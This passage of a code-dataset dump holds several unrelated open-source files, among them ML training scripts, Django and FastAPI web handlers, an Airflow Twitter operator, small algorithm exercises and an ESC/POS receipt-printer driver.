train_optimizer = optim.SGD(params=model.parameters(),\n lr=args[\"low_lr\"], momentum=0.9, weight_decay=1e-4)\n val_optimizer = optim.SGD(params=[{'params': dy}, {'params': ly}],\n lr=args[\"up_lr\"], momentum=0.9, weight_decay=1e-4)\n train_lr_scheduler = optim.lr_scheduler.LambdaLR(\n train_optimizer, lr_lambda=warm_up_with_multistep_lr_low)\n val_lr_scheduler = optim.lr_scheduler.LambdaLR(\n val_optimizer, lr_lambda=warm_up_with_multistep_lr_up)\nelif dataset == 'ImageNet' or dataset == 'INAT':\n warm_up_with_cosine_lr_low = lambda epoch:\\\n (epoch+1) / args[\"low_lr_warmup\"] if epoch < args[\"low_lr_warmup\"] \\\n else 0.5*(math.cos((epoch - args[\"low_lr_warmup\"]) / (args[\"epoch\"]-args[\"low_lr_warmup\"])*math.pi)+1)\n up_start_epoch=args[\"up_configs\"][\"start_epoch\"]\n def warm_up_with_multistep_lr_low(epoch): return (epoch+1) / args[\"low_lr_warmup\"] \\\n if epoch < args[\"low_lr_warmup\"] \\\n else 0.1**len([m for m in args[\"low_lr_schedule\"] if m <= epoch])\n\n def warm_up_with_multistep_lr_up(epoch): return (epoch-up_start_epoch+1) / args[\"up_lr_warmup\"] \\\n if epoch-up_start_epoch < args[\"up_lr_warmup\"] \\\n else 0.1**len([m for m in args[\"up_lr_schedule\"] if m <= epoch])\n\n train_optimizer = optim.SGD(\n params=model.parameters(),\n lr=args[\"low_lr\"], momentum=0.9, weight_decay=5e-4)\n val_optimizer = optim.SGD(params=[{'params': dy}, {'params': ly}],\n lr=args[\"up_lr\"], momentum=0.9, weight_decay=5e-4)\n train_lr_scheduler = optim.lr_scheduler.LambdaLR(\n train_optimizer, lr_lambda=warm_up_with_cosine_lr_low)\n val_lr_scheduler = optim.lr_scheduler.LambdaLR(\n val_optimizer, lr_lambda=warm_up_with_cosine_lr_low )\n\n\nif args[\"save_path\"] is None:\n import time\n args[\"save_path\"] = f'./results/{int(time.time())}'\nif not os.path.exists(args[\"save_path\"]):\n os.makedirs(args[\"save_path\"])\n\nassert(args[\"checkpoint\"] == 0)\n\ntorch.save(model, f'{args[\"save_path\"]}/init_model.pth')\nlogfile = open(f'{args[\"save_path\"]}/logs.txt', mode='w')\ndy_log = open(f'{args[\"save_path\"]}/dy.txt', mode='w')\nly_log = open(f'{args[\"save_path\"]}/ly.txt', mode='w')\nerr_log = open(f'{args[\"save_path\"]}/err.txt', mode='w')\nwith open(f'{args[\"save_path\"]}/config.yaml', mode='w') as config_log:\n yaml.dump(args, config_log)\n\nsave_data = {\"ly\": [], \"dy\": [], \"w_train\": [],\n \"train_err\": [], \"balanced_train_err\": [], \n \"val_err\": [], \"balanced_val_err\": [], \"test_err\": [], \"balanced_test_err\": [],\n \"classwise_train_err\": [], \"classwise_val_err\": [], \"classwise_test_err\": [] }\nwith open(f'{args[\"save_path\"]}/result.yaml', mode='w') as log:\n yaml.dump(save_data, log)\n\nfor i in range(args[\"checkpoint\"], args[\"epoch\"]+1):\n if i % args[\"checkpoint_interval\"] == 0:\n torch.save(model, f'{args[\"save_path\"]}/epoch_{i}.pth')\n\n if i % args[\"eval_interval\"] == 0:\n if args[\"up_configs\"][\"dy_init\"]==\"CDT\":\n print(\"CDT\")\n text, loss, train_err, balanced_train_err, classwise_train_err = eval_epoch(eval_train_loader, model,\n loss_adjust_cross_entropy_cdt, i, ' train_dataset', args,\n params=[dy, ly, w_train])\n \n else:\n text, loss, train_err, balanced_train_err, classwise_train_err = eval_epoch(eval_train_loader, model,\n loss_adjust_cross_entropy, i, ' train_dataset', args,\n params=[dy, ly, w_train])\n logfile.write(text+'\\n')\n text, loss, val_err, balanced_val_err, classwise_val_err = eval_epoch(eval_val_loader, model,\n cross_entropy, i, ' val_dataset', args, params=[dy, ly, w_val])\n logfile.write(text+'\\n')\n\n text, loss, test_err, balanced_test_err, classwise_test_err = eval_epoch(test_loader, model,\n cross_entropy, i, ' test_dataset', args, params=[dy, ly])\n logfile.write(text+'\\n')\n save_data[\"train_err\"].append(train_err)\n save_data[\"balanced_train_err\"].append(balanced_train_err)\n save_data[\"classwise_train_err\"].append(classwise_train_err)\n save_data[\"val_err\"].append(val_err)\n save_data[\"balanced_val_err\"].append(balanced_val_err)\n save_data[\"classwise_val_err\"].append(classwise_val_err)\n save_data[\"test_err\"].append(test_err)\n save_data[\"balanced_test_err\"].append(balanced_test_err)\n save_data[\"classwise_test_err\"].append(classwise_test_err)\n\n save_data[\"dy\"].append(dy.detach().cpu().numpy().tolist())\n save_data[\"ly\"].append(ly.detach().cpu().numpy().tolist())\n save_data[\"w_train\"].append(w_train.detach().cpu().numpy().tolist())\n\n with open(f'{args[\"save_path\"]}/result.yaml', mode='w') as log:\n yaml.dump(save_data, log)\n\n print('ly', ly, '\\n dy', dy, '\\n')\n\n train_epoch(i, model, args,\n low_loader=train_loader, low_criterion=loss_adjust_cross_entropy,\n low_optimizer=train_optimizer, low_params=[dy, ly, w_train],\n up_loader=val_loader, up_optimizer=val_optimizer,\n up_criterion=cross_entropy, up_params=[dy, ly, w_val])\n\n logfile.write(str(dy)+str(ly)+'\\n\\n')\n dy_log.write(f'{dy.detach().cpu().numpy()}\\n')\n ly_log.write(f'{ly.detach().cpu().numpy()}\\n')\n err_log.write(f'{train_err} {val_err} {test_err}\\n')\n logfile.flush()\n dy_log.flush()\n ly_log.flush()\n err_log.flush()\n train_lr_scheduler.step()\n val_lr_scheduler.step()\n\nlogfile.close()\ndy_log.close()\nly_log.close()\nerr_log.close()\ntorch.save(model, f'{args[\"save_path\"]}/final_model.pth')\n","repo_name":"ucr-optml/AutoBalance","sub_path":"loss_search.py","file_name":"loss_search.py","file_ext":"py","file_size_in_byte":11954,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"} +{"seq_id":"72825781220","text":"from django.contrib import messages\nfrom django.shortcuts import render,redirect\nimport folium\nimport geocoder\nfrom .models import Report\nfrom secure254app.forms import ReportForm\n\ndef index(request):\n\n return render(request,\"base/home.html\") \n\ndef mapPage(request):\n incidents = Report.objects.all() #Gets all incidences recorded from the database\n maper = folium.Map(location=[0.0236,37.9062],zoom_start=7,tiles='OpenStreetMap')#Initializes map to a specific country\n for data in incidents:\n lat = data.latitude\n long = data.longitude\n lat = data.latitude\n county = data.county\n area = data.area\n crime = data.incident\n date = data.occurence_date\n confirmed = data.verified\n folium.Marker(location=[lat,long],\n popup=f\"County:{county} Incident:{crime} Occured on:{date} Verified:{confirmed}\",tooltip=f'Area:{area}',\n icon=folium.Icon(icon='exclamation-triangle',color=color(confirmed),prefix='fa')).add_to(maper) \n map1 = maper._repr_html_()\n context = {\n 'map1':map1\n }\n return render(request,\"base/map.html\",context) \n\ndef reportIncident(request):\n form = ReportForm()#Creating an instance of the form\n if request.method == 'POST':\n #Checking if a user has entered the correct data in the form.\n form = ReportForm(request.POST)\n if form.is_valid():\n form.save()\n messages.info(request,\"Report Sent! Thank you!\")\n else:\n messages.info(request,\"Check details and try again!\")\n context = {'form':form}\n\n return render(request,\"base/report.html\",context) \n\ndef color(confirmed):\n if confirmed == True:\n return 'green'\n else:\n return 'red'\n","repo_name":"Jump3rX/secure254","sub_path":"secure254app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"36288878206","text":"from typing import List, Optional, Union\n\nfrom fastapi import APIRouter, Depends, HTTPException, status\nfrom pydantic import BaseModel\nfrom sqlalchemy.orm import Session\nfrom typing import List\nimport requests\nimport psycopg2\nimport sqlalchemy\n\nfrom codes.service import build_category_tree, has_circular_dependency\nfrom codes.schemas import MergeOperation\nfrom db import session, models\nfrom db.schema import DeleteResponse\n\nrouter = APIRouter()\n\n@router.get(\"/\")\ndef get_codes_route(project_id: int, db: Session = Depends(session.get_db)):\n codes = db.query(models.Code).filter(models.Code.project_id == project_id).all()\n if codes is None:\n raise HTTPException(status_code=404, detail=\"Data not found\")\n return {\"data\": codes}\n\n\n@router.get(\"/roots\")\ndef get_top_level_codes_route(\n project_id: int, db: Session = Depends(session.get_db)):\n codes = db.query(models.Code).filter(models.Code.project_id == project_id, models.Code.parent_code_id == None).all()\n if codes is None:\n raise HTTPException(status_code=404, detail=\"Data not found\")\n return {\"data\": codes}\n\n\n@router.get(\"/leaves\")\ndef get_leaf_codes_route(project_id: int, db: Session = Depends(session.get_db)):\n subquery = db.query(models.Code.parent_code_id).filter(models.Code.project_id == project_id).distinct()\n subquery_result = subquery.all()\n code_ids = [item[0] for item in subquery_result if item[0] is not None]\n codes = (\n db.query(models.Code).filter(models.Code.project_id == project_id, ~models.Code.code_id.in_(code_ids)).all()\n )\n if codes is None:\n raise HTTPException(status_code=404, detail=\"Data not found\")\n return {\"codes\": codes}\n\n\n@router.get(\"/tree\")\ndef get_code_tree(project_id: int, db: Session = Depends(session.get_db)):\n codes = db.query(models.Code).filter(models.Code.project_id == project_id).all()\n codes = build_category_tree(codes)\n if codes is None:\n raise HTTPException(status_code=404, detail=\"Data not found\")\n return {\"codes\": codes}\n\n\n@router.get(\"/{id}\")\ndef get_code_route(\n project_id: int, id: int, db: Session = Depends(session.get_db)):\n data = db.query(models.Code).filter(models.Code.project_id == project_id, models.Code.code_id == id).first()\n if data is None:\n raise HTTPException(status_code=404, detail=\"Code not found\")\n\n return data\n\n\n@router.delete(\"/{id}\")\ndef delete_code_route(project_id: int, id: int, db: Session = Depends(session.get_db)):\n try:\n code = db.query(models.Code).filter(models.Code.code_id == id).first()\n if code:\n db.delete(code)\n db.commit()\n return {\"id\": id, \"deleted\": True}\n else:\n return {\"id\": id, \"deleted\": False}\n except Exception as e:\n raise HTTPException(status_code=400, detail=str(e))\n\n\n@router.post(\"/\")\ndef insert_code_route(\n project_id: int, code_name: str, parent_id: Optional[int] = None, db: Session = Depends(session.get_db)):\n try:\n new_code = models.Code(parent_code_id=parent_id, project_id=project_id, text = code_name)\n db.add(new_code)\n db.commit()\n db.refresh(new_code)\n return new_code\n except sqlalchemy.exc.IntegrityError as e:\n db.rollback()\n raise HTTPException(status_code=400, detail=\"Foreign key constraint violation.\")\n\n\n@router.put(\"/{id}\")\ndef update_code_route(\n project_id: int, code_id: int, code_name: Optional[str] = None, parent_id: Optional[int] = None, db: Session = Depends(session.get_db)):\n try:\n data = db.query(models.Code).filter(models.Code.project_id == project_id, models.Code.code_id == code_id).first()\n if data is None:\n raise HTTPException(status_code=404, detail=\"Code not found\")\n if code_name:\n data.text = code_name\n if not has_circular_dependency(db, project_id, code_id, parent_id):\n data.parent_code_id = parent_id\n db.add(data)\n db.commit()\n db.refresh(data)\n return data\n except sqlalchemy.exc.IntegrityError as e:\n db.rollback()\n raise HTTPException(status_code=400, detail=\"Foreign key constraint violation.\")\n\n\n\n@router.post(\"/merge\")\ndef merge_codes_route(\n project_id: int, data: MergeOperation, db: Session = Depends(session.get_db)):\n try:\n\n url = f\"http://localhost:8000/projects/{project_id}/codes/?code_name={data.new_code_name}\"\n new_code_response = requests.post(url)\n\n new_code_id = new_code_response.json().get(\"code_id\")\n\n db.query(models.Code).filter(models.Code.project_id == project_id, models.Code.parent_code_id.in_(data.list_of_codes)).update({models.Code.parent_code_id: new_code_id}, synchronize_session=False)\n db.commit()\n\n db.query(models.Segment).filter(models.Segment.code_id.in_(data.list_of_codes)).update({models.Segment.code_id: new_code_id}, synchronize_session=False)\n db.commit()\n\n for code_id in data.list_of_codes:\n url = f\"http://localhost:8000/projects/{project_id}/codes/{code_id}/\"\n response = requests.delete(url)\n\n except requests.exceptions.RequestException as e:\n raise HTTPException(status_code=500, detail=f\"HTTP Request error: {str(e)}\")\n except Exception as e:\n raise HTTPException(status_code=500, detail=f\"An error occurred: {str(e)}\")\n\n return {\"codes\": data.list_of_codes, \"merged\": True, \"new_code\": new_code_id}","repo_name":"bruehldev/Code-Graph-Backend","sub_path":"src/codes/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":5444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8368795122","text":"\nwith open('data/gamayun_kit5k.eng', 'r', encoding='utf=8') as file:\n data_en = file.read()\n\nwith open('data/gamayun_kit5k.swa', 'r', encoding='utf=8') as file:\n data_sw = file.read()\n\n# print(data_en)\n# print(data_sw)\n\n\n\n\"\"\"\nfrom transformers import T5Tokenizer, T5ForConditionalGeneration, Trainer, TrainingArguments\n\n# Load the T5 tokenizer and model\ntokenizer = T5Tokenizer.from_pretrained('t5-small')\nmodel = T5ForConditionalGeneration.from_pretrained('t5-small')\n\n# Prepare the training data\ntrain_data = ...\n\n# Prepare the validation data\nval_data = ...\n\n# Set up the training arguments\ntraining_args = TrainingArguments(\n output_dir='./results',\n num_train_epochs=3,\n per_device_train_batch_size=16,\n per_device_eval_batch_size=16,\n eval_steps=100,\n save_steps=500,\n warmup_steps=500,\n learning_rate=5e-5,\n logging_dir='./logs',\n logging_steps=100,\n)\n\n# Define the trainer\ntrainer = Trainer(\n model=model,\n args=training_args,\n train_dataset=train_data,\n eval_dataset=val_data,\n data_collator=lambda data: {'input_ids': tokenizer(data['input_text'], padding=True, truncation=True, max_length=512, return_tensors='pt').input_ids, 'attention_mask': tokenizer(data['input_text'], padding=True, truncation=True, max_length=512, return_tensors='pt').attention_mask, 'labels': tokenizer(data['target_text'], padding=True, truncation=True, max_length=512, return_tensors='pt').input_ids},\n)\n\n# Fine-tune the model\ntrainer.train()\n\n\n\"\"\"","repo_name":"CLozy/Rafiki","sub_path":"sentiment-analysis.py","file_name":"sentiment-analysis.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"5686311065","text":"# this code repository contains basics of tensorflow and linear regression model\r\n\r\nimport tensorflow as tf\r\n#Constant nodes\r\n#const_1 = tf.constant(value =[[1.0,2.0]],dtype = tf.float32,shape=[1,2],name = \"const_1\",verify_shape=True)\r\n\r\n# create session to run a node\r\nsession = tf.Session()\r\n#print(session.run(fetches=const_1))\r\n\r\n# Variable nodes\r\n# to run variable nodes use global_variables_initializer() along with session\r\n\r\n#var_1 =tf.Variable(initial_value=[1.0],trainable=True,collections=None,validate_shape=True,caching_device=None,name='var_1',dtype=tf.float32)\r\n\r\n#print(var_1)\r\n#init = tf.global_variables_initializer()\r\n#session.run(init)\r\n#print(session.run(var_1))\r\n\r\n# assigining new value to var_1 node is stored in a new node\r\n\r\n#var_2 = var_1.assign([2.0])\r\n#print(session.run(var_1))\r\n#print(session.run(var_2))\r\n\r\n# placeholder nodes - inputs to our models\r\n# don't contain values until values are assigned to them\r\n\r\n#placeholder_1 = tf.placeholder(dtype=tf.float32,shape=(1,4),name='placeholder_1')\r\n#placeholder_2 = tf.placeholder(dtype=tf.float32,shape=(2,2),name='placeholder_2')\r\n#print(placeholder_1)\r\n\r\n#print(session.run(fetches=[placeholder_1,placeholder_2],feed_dict={placeholder_1:[(1.0,2.0,3.0,4.0)],placeholder_2:[(1.0,2.0),(3.0,4.0)]}))\r\n\r\n# Operation Nodes - any node that performs some operation on the existing nodes\r\n#const_1 = tf.constant(value=[1.0])\r\n#const_2 = tf.constant(value=[2.0])\r\n#placeholder_1 = tf.placeholder(dtype=tf.float32)\r\n#results = tf.add(x = placeholder_1,y=const_2,name ='results')\r\n#print(session.run(results,feed_dict={placeholder_1:[(2.0)]}))\r\n\r\n# implementing y = wx+b\r\n\r\n#w = tf.constant(value=[2.0])\r\n#b = tf.constant(value=[1.0])\r\n#x = tf.placeholder(dtype=tf.float32)\r\n#y = (w * x) + b\r\n#print(session.run(y,feed_dict={x:[5.0]}))\r\n\r\n# loss function : actual vs expected output\r\n# actual: output from our model after training\r\n# expected: correct output\r\n\r\n# optimizer : change values in model to alter losses\r\n\r\n#x_train =[1.0,2.0,3.0,4.0]\r\n#y_train =[2.0,3.0,4.0,5.0]\r\n#y_actual =[1.5,2.5,3.5,4.5]\r\n#loss = tf.reduce_sum(tf.square(y_train-y_actual))\r\n#optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.05)\r\n#train_step =optimizer.minimize(loss)\r\n\r\n\r\n# Linear regression\r\n# y = Wx +b\r\nx_train =[1.0,2.0,3.0,4.0]\r\ny_train =[-1.0,-2.0,-3.0,-34.0]\r\nW = tf.Variable([1.0],tf.float32) # weights\r\nb = tf.Variable([1.0],tf.float32) # bias\r\nx = tf.placeholder(dtype=tf.float32) # input\r\n\r\ny_input = tf.placeholder(tf.float32) # feed in values during training (expected output\r\ny_output = W*x +b # output\r\n\r\nloss = tf.reduce_sum(tf.square(y_output - y_input))\r\noptimizer = tf.train.GradientDescentOptimizer(learning_rate=0.01)\r\ntrain_step = optimizer.minimize(loss)\r\n\r\nsession.run(tf.global_variables_initializer())\r\n\r\n# prints present loss\r\nprint(session.run(fetches=loss, feed_dict={x: x_train,y_input: y_train}))\r\n\r\nfor _ in range(1000):\r\n session.run(train_step, feed_dict={x: x_train,y_input: y_train}) # train model for 1000 epochs\r\n\r\nprint(session.run(fetches=loss, feed_dict={x: x_train,y_input: y_train})) # print final value of loss\r\n\r\nprint(session.run(y_output,feed_dict={x:[5.0,10.0,15.0]})) # giving testing input","repo_name":"AashiDutt/ML_on_Android","sub_path":"tf_in_pycharm.py","file_name":"tf_in_pycharm.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"22003256613","text":"\n\nclass TreeNode:\n def __init__(self, val=None, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\ndef contains(root, val):\n if root:\n if root.val == val:\n return True\n return contains(root.left, val) or contains(root.right, val)\n return False\n\n\ndef helper(t1, t2):\n if t1 and t2:\n if t1.val != t2.val:\n return False\n return helper(t1.left, t2.left) and helper(t1.right, t2.right)\n return True\n\n\ndef is_subtree(t1, t2):\n if not t1:\n return False\n if not t2:\n return True\n stack = [t1]\n root = None\n while stack:\n node = stack.pop()\n if node.val == t2.val:\n root = node\n break\n if node.left:\n stack.append(node.left)\n if node.right:\n stack.append(node.right)\n if root:\n return helper(root, t2)\n return False\n\n\ndef test1():\n root = TreeNode(\n \"A\",\n TreeNode(\n \"B\",\n TreeNode(\"D\"),\n TreeNode(\"E\")\n ),\n TreeNode(\n \"C\",\n TreeNode(\"F\"),\n TreeNode(\"G\")\n )\n )\n assert contains(root, \"G\") is True\n print(\"test 1 successful\")\n\n\ndef test2():\n root = TreeNode(\n \"A\",\n TreeNode(\n \"B\",\n TreeNode(\"D\"),\n TreeNode(\"E\")\n ),\n TreeNode(\n \"C\",\n TreeNode(\"F\"),\n TreeNode(\"G\")\n )\n )\n assert contains(root, \"Z\") is False\n print(\"test 2 successful\")\n\n\ndef test3():\n t1 = TreeNode(\n \"A\",\n TreeNode(\n \"B\",\n TreeNode(\"D\"),\n TreeNode(\"E\")\n ),\n TreeNode(\n \"C\",\n TreeNode(\"F\"),\n TreeNode(\"G\")\n )\n )\n t2 = TreeNode(\"C\", TreeNode(\"F\"), TreeNode(\"G\"))\n assert helper(t1.right, t2) is True\n print(\"test 3 successful\")\n\n\ndef test4():\n t1 = TreeNode(\n \"A\",\n TreeNode(\n \"B\",\n TreeNode(\"D\"),\n TreeNode(\"E\")\n ),\n TreeNode(\n \"C\",\n TreeNode(\"F\"),\n TreeNode(\"G\")\n )\n )\n t2 = TreeNode(\"C\", TreeNode(\"F\"), TreeNode(\"G\"))\n assert helper(t1, t2) is False\n print(\"test 4 successful\")\n\n\ndef test5():\n t1 = TreeNode(\n \"A\",\n TreeNode(\n \"B\",\n TreeNode(\"D\"),\n TreeNode(\"E\")\n ),\n TreeNode(\n \"C\",\n TreeNode(\"F\"),\n TreeNode(\"G\")\n )\n )\n t2 = TreeNode(\"C\", TreeNode(\"F\"), TreeNode(\"G\"))\n assert is_subtree(t1, t2) is True\n print(\"test 5 successful\")\n\n\ndef test6():\n t1 = None\n t2 = TreeNode(\"C\", TreeNode(\"F\"), TreeNode(\"G\"))\n assert is_subtree(t1, t2) is False\n print(\"test 6 successful\")\n\n\ndef test7():\n t1 = TreeNode(\n \"A\",\n TreeNode(\n \"B\",\n TreeNode(\"D\"),\n TreeNode(\"E\")\n ),\n TreeNode(\n \"C\",\n TreeNode(\"F\"),\n TreeNode(\"G\")\n )\n )\n t2 = None\n assert is_subtree(t1, t2) is True\n print(\"test 7 successful\")\n\n\ndef main():\n test1()\n test2()\n test3()\n test4()\n test5()\n test6()\n test7()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jschnab/leetcode","sub_path":"binary_trees/is_subtree.py","file_name":"is_subtree.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38424679031","text":"'''\n请编写前述sum函数的代码。(递归求和,基线条件为数组空)\n'''\narr = [1,2,3,4,5]\n\ndef sum(arr):\n if arr == []: # 基线条件:数组为空\n return 0\n elif len(arr) == 1: # 基线条件:数组内只有一个元素(可省略)\n return arr[0]\n else:\n return arr[0] + sum(arr[1:]) # [1:]:除去第一个剩下的元素\n\nprint (sum(arr))","repo_name":"jasonmayday/LeetCode","sub_path":"algorithms/11_递归/递归基础_求和.py","file_name":"递归基础_求和.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"25931813190","text":"def main():\n for i in range(int(input())):\n texto = input()\n tags = [texto[i] for i in range(len(texto)) if texto[i] == '<' or texto[i] == '>']\n abrir = tags.count(\"<\")\n fechar = tags.count(\">\")\n if abrir == fechar:\n print(\"Successful !!\")\n else:\n print(\"error\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"LuisHenrique01/Questoes_URI","sub_path":"uri2684.py","file_name":"uri2684.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"23642986427","text":"import json\nfrom pathlib import Path\nfrom os.path import join\n\nfrom airflow.models import BaseOperator\nfrom hooks.twitter_hook import TwitterHook\n\n\nclass TwitterOperator(BaseOperator):\n\n template_fields = [\n 'task_id',\n 'query',\n 'file_path',\n 'start_time',\n 'end_time'\n ]\n\n def __init__(\n self,\n task_id: str,\n query: str,\n file_path: str,\n conn_id: str = '',\n start_time: str = '',\n end_time: str = '',\n **kwargs\n ):\n super().__init__(task_id=task_id, **kwargs)\n self.query = query\n self.file_path = file_path\n self.conn_id = conn_id\n self.start_time = start_time\n self.end_time = end_time\n\n\n def create_parent_folder(self):\n Path(Path(self.file_path).parent).mkdir(parents=True, exist_ok=True)\n\n\n def execute(self, context):\n hook = TwitterHook(\n query=self.query,\n conn_id=self.conn_id,\n start_time=self.start_time,\n end_time=self.end_time\n )\n self.create_parent_folder()\n\n with open(self.file_path, 'w') as output_file:\n for pg in hook.run():\n json.dump(pg, output_file, ensure_ascii=False)\n","repo_name":"JoaoManoel/Tweets-Analyzer","sub_path":"airflow/plugins/operators/twitter_operator.py","file_name":"twitter_operator.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"29306305212","text":"# -* coding: utf-8 *-\n# (C) 2012 by Bernd Wurst \n\n# This file is part of Bib2011.\n#\n# Bib2011 is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Bib2011 is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Bib2011. If not, see .\n\nimport time\nfrom .usbprinter import USBPrinter\nfrom numpy.core import _string_helpers\n\n# Barcode chars\nBARCODE_TXT_BLW = b'\\x1d\\x48\\x02' # HRI barcode chars below\nBARCODE_FONT_A = b'\\x1d\\x66\\x00' # Font type A for HRI barcode chars\nBARCODE_HEIGHT = b'\\x1d\\x68\\x64' # Barcode Height [1-255]\nBARCODE_WIDTH = b'\\x1d\\x77\\x03' # Barcode Width [2-6]\nBARCODE_EAN13 = b'\\x1d\\x6b\\x02' # Barcode type EAN13\n\n\n\nclass ESCPrinter(object):\n def __init__(self):\n self.device = USBPrinter()\n if not self.device.initialized:\n raise RuntimeError()\n (self.printer_out, self.printer_in) = self.device.get_endpoints() \n if not self.printer_out:\n raise RuntimeError('Cannot access printer!')\n self.reset()\n \n def __del__(self):\n del(self.device)\n \n def reset(self):\n # Reset printer\n self.write(self.encode(chr(27)+chr(64)))\n # Set code page 858 (mit Euro-Zeichen)\n self.write(chr(27)+chr(116)+chr(19))\n \n def encode(self, string):\n assert type(string) == str, 'illegal argument, cannot encode'\n return string.encode('cp858')\n\n def write(self, string):\n if type(string) != type(b'0x00'):\n string = string.encode('cp858')\n self.printer_out.write(string)\n\n def raw(self, command):\n self.printer_out.write(command)\n\n\n def ean13(self, code):\n if len(code) != 12:\n raise ValueError('require 12 digits')\n code = [int(i) for i in code]\n sum_ = lambda x, y: int(x) + int(y)\n evensum = reduce(sum_, code[::2])\n oddsum = reduce(sum_, code[1::2])\n check = (10 - ((evensum + oddsum * 3) % 10)) % 10\n code = b''.join([bytes(i) for i in code]) + bytes(check)\n # Align Bar Code()\n self.raw(b'\\x1b\\x61\\x01') # center\n self.raw(BARCODE_HEIGHT)\n self.raw(BARCODE_WIDTH)\n self.raw(BARCODE_FONT_A)\n self.raw(BARCODE_TXT_BLW)\n self.raw(BARCODE_EAN13)\n # Print Code\n if code:\n self.raw(code)\n else:\n raise ValueError('No code')\n\n\n\n\n def text(self, string):\n self.write(string)\n\n def bold(self, state = True):\n if state:\n self.write(chr(27)+chr(69)+chr(1))\n else:\n self.write(chr(27)+chr(69)+chr(0))\n\n def underline(self, state = True):\n if state == 2:\n self.write(chr(27)+chr(45)+chr(2))\n elif state == 1 or state == True:\n self.write(chr(27)+chr(45)+chr(1))\n else:\n self.write(chr(27)+chr(45)+chr(0))\n\n def align(self, align):\n command = 0\n if align == 'center':\n command = 1\n elif align == 'right':\n command = 2\n self.write(chr(27)+chr(97)+chr(command))\n \n def font(self, type):\n command = 0\n if type == 'B':\n command = 1\n self.write(chr(27) + chr(77) + chr(command))\n \n def fontsize(self, width, height):\n width = (width-1) % 8\n height = (height-1) % 8\n size = (width << 4) | height\n # set font scaling\n self.write(chr(29)+chr(33)+chr( size ))\n # turn smoothing on\n self.write(chr(29)+chr(98)+chr(1)) \n\n def cut(self, mode='full'):\n command = 0\n if mode == 'partial':\n command = 1\n blanklines = 3\n self.write(chr(29)+chr(86)+chr(command+65) + chr(blanklines))\n\n def openDrawer(self):\n self.write(chr(27)+chr(112)+chr(0)+chr(25)+chr(250))\n \n def drawerIsOpen(self):\n garbage = self.printer_in.read(32).tolist()\n assert len(garbage) < 32, 'Too much wasty data received from printer'\n self.write(chr(27)+chr(117)+chr(0))\n status = None\n for i in range(100):\n time.sleep(0.01)\n recv = self.printer_in.read(32).tolist()\n if len(recv) > 0:\n status = recv[0]\n break\n if status & 0x01:\n return False \n else:\n return True\n\n\nif __name__ == '__main__':\n e = ESCPrinter()\n e.font('A')\n #e.reset()\n #rawdata = '\\xff' * (16 * 32)\n #e.raw('\\x1d\\x76\\x30\\0\\x02\\0\\x01\\0\\xff')\n #e.text('\\n\\n\\n')\n e.fontsize(2,2)\n e.text('1234567890'*3)\n e.text('\\n')\n e.ean13('200123456789')\n e.cut()\n","repo_name":"bwurst/bibkasse","sub_path":"src/lib/printer/esc.py","file_name":"esc.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"70198327141","text":"#계단올라가기\n#https://www.acmicpc.net/status?user_id=back2225&problem_id=2579&from_mine=1\n#https://daimhada.tistory.com/181\nn = int(input())\nstairs = [int(input()) for _ in range(n)]\ndp = [0 for _ in range(n)]\n\nif n == 1:\n print(stairs[0])\nelif n==2:\n print(stairs[0]+stairs[1])\nelse:\n dp[0] = stairs[0]\n dp[1] = max(dp[0]+stairs[1],stairs[1])\n dp[2] = max(dp[0]+stairs[2], stairs[1]+stairs[2])\n\n for i in range(3,n):\n dp[i] = max(stairs[i]+stairs[i-1]+dp[i-3], stairs[i]+dp[i-2])\n print(dp[-1])","repo_name":"JuyeolRyu/CodingTest","sub_path":"백수/algorithm/Dynamic_Programming/계단올라가기.py","file_name":"계단올라가기.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"15352605405","text":"# -*- coding: utf-8 -*-\nimport sys,os\nimport json\ndef genChartJson(jsonFileName,groupname,day,unrunedModuleList,failReportList,moduleDict):\n modules=[]\n failCases=[]\n totalCases=[]\n headerList=failReportList[0].keys()\n for failReport in failReportList:\n moduleId=failReport[\"module_id\"]\n moduleName=moduleDict[moduleId]\n modules.append(moduleName)\n failCase=int(failReport[\"failure_case\"])\n failCases.append({\"y\":failCase})\n totalCase=int(failReport[\"total_case\"])\n totalCases.append({\"y\":totalCase})\n for moduleName in unrunedModuleList:\n modules.append(moduleName)\n failCases.append({\"y\":0})\n totalCases.append({\"y\":0})\n highdata={\n \"chart\": {\n \"type\": 'column'\n },\n \"title\": {\n \"text\": u'TEST %s ENVIRONMENT %s CASE STATISTIC' % (groupname,day)\n },\n \"subtitle\": {\n \"text\": 